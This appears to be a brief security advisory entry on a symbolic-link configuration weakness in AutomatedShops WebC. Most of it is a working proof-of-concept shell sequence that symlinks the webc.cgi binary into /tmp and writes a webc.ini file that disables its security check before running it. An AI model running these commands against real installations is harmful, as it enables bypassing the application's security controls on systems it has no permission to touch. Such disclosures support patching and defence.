AutomatedShops WebC Symbolic Link Following Configuration File Weakness

AutomatedShops WebC Symbolic Link Following Configuration File Weakness

The following example has been provided:

$ cd /tmp
$ ln -s /usr/local/apache/cgi-bin/webc.cgi webc.cgi
$ cp /usr/local/apache/cgi-bin/webc.emf .
$ echo "WEBC_NO_SECURITY_CHECK=True" > webc.ini
$ echo "HTML_TRACE_REQUEST=/tmp/.debug1" >> webc.ini
$ ./webc.cgi